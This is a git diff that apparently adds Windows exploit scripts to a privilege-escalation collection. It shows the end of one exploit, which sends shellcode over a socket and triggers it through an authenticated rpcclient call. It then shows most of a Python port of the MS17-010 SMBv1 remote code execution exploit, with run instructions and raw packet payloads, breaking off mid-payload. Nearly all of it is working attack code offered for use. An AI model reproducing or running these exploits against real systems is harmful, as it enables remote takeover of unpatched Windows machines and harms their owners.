+buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f" +buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18" +buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10" +buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08" +buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73" +buff+="\x73\x75\x15\xe8\x07\x00\x00\x00" +buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9" +buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34" +buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff" + +buff+=shell + +s = socket() +s.connect(host) +s.send(buff) +s.close() +#Trigger the above injected code via authenticated process. +subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True) diff --git a/97-Windows提权/MS09-050/41987.py b/97-Windows提权/MS09-050/41987.py new file mode 100644 index 0000000..41d3412 --- /dev/null +++ b/97-Windows提权/MS09-050/41987.py @@ -0,0 +1,133 @@ +# Exploit Author: Juan Sacco at KPN Red Team - http://www.kpn.com +# Date and time of release: May, 9 2017 - 13:00PM +# Found this and more exploits on my open source security project: http://www.exploitpack.com +# +# MS17-010 - https://technet.microsoft.com/en-us/library/security/ms17-010.aspx +# Tested on: Microsoft Windows Server 2008 x64 SP1 R2 Standard +# +# Description: SMBv1 SrvOs2FeaToNt OOB is prone to a remote code execution +# vulnerability because the application fails to perform adequate +# boundary-checks on user-supplied input. Srv.sys process SrvOs2FeaListSizeToNt +# and when the logic is not correct it leads to a cross-border copy. The vulnerability trigger point is as follows: +# +# Vulnerable code: +# unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2) +# { +# int v4; // edi@1 +# _BYTE *v5; // edi@1 +# unsigned int result; // eax@1 +# +# v4 = a1 + 8; +# *(_BYTE *)(a1 + 4) = *(_BYTE *)a2; +# *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1); +# *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2); +# _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1)); +# v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4); +# *v5++ = 0; +# _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); +# result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC; +# *(_DWORD *)a1 = result - a1; +# return result; +# } +# +# Impact: An attacker could exploit this vulnerability to execute arbitrary code in the +# context of the application. Failed exploit attempts could result in a +# denial-of-service condition. +# +# Timeline: +# 04/05/2017 - Research started +# 04/05/2017 - First PoC using original code +# 05/05/2017 - Kernel debugging on Windows 2008 +# 05/05/2017 - Exploit code first draft +# 06/05/2017 - Functional PoC +# 07/05/2017 - Added support for Zerosum0x0 shellcode +# 08/05/2017 - Code revisited and bugs fixed +# 09/05/2017 - First successful shell +# 09/05/2017 - Exploit tested in QA Laba +# 09/05/2017 - Exploit code final review +# 09/05/2017 - Publish +# +# Vendor homepage: http://www.microsoft.com +# This exploit is a port from the amazing work made by Risksense. Checkout the original project at: https://github.com/RiskSense-Ops/MS17-010 +# Credits: @EquationGroup @ShadowBrokers @progmboy @zerosum0x0 @juansacco +# +# How to run: python3 ms17010.py ipaddress +# +import sys +import socket +import time +import ast +import binascii +import os + +def mod_replay(): + datfile = ["('connect', 1, 0.0)", "('send', 1, b'\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00', 0.0)", "('recv', 1, 0.0)", "('send', 1, b'\\x00\\x00\\x00\\x88\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\r\\xff\\x00\\x88\\x00\\x04\\x11\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\x00K\\x00\\x00\\x00\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x002\\x000\\x000\\x000\\x00 \\x002\\x001\\x009\\x005\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x002\\x000\\x000\\x000\\x00 \\x005\\x00.\\x000\\x00\\x00\\x00', 0.0)", "('recv', 1, 'userid', 0.0)", "('send', 1, b'\\x00\\x00\\x00X\\xffSMBu\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\x04\\xff\\x00X\\x00\\x08\\x00\\x01\\x00-\\x00\\x00\\\\\\x00\\\\\\x001\\x007\\x002\\x00.\\x001\\x006\\x00.\\x009\\x009\\x00.\\x005\\x00\\\\\\x00I\\x00P\\x00C\\x00$\\x00\\x00\\x00?????\\x00', 0.0)", "('recv', 1, 'treeid', 0.0)", "('send', 1, b'\\x00\\x00\\x048\\xffSMB\\xa0\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\x14\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\xd0\\x03\\x01\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00K\\x00\\x00\\x00\\xd0\\x03\\x00\\x00h\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xec\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', 0.0)", "('recv', 1, 0.0)", "('send', 1, b'\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\x03\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0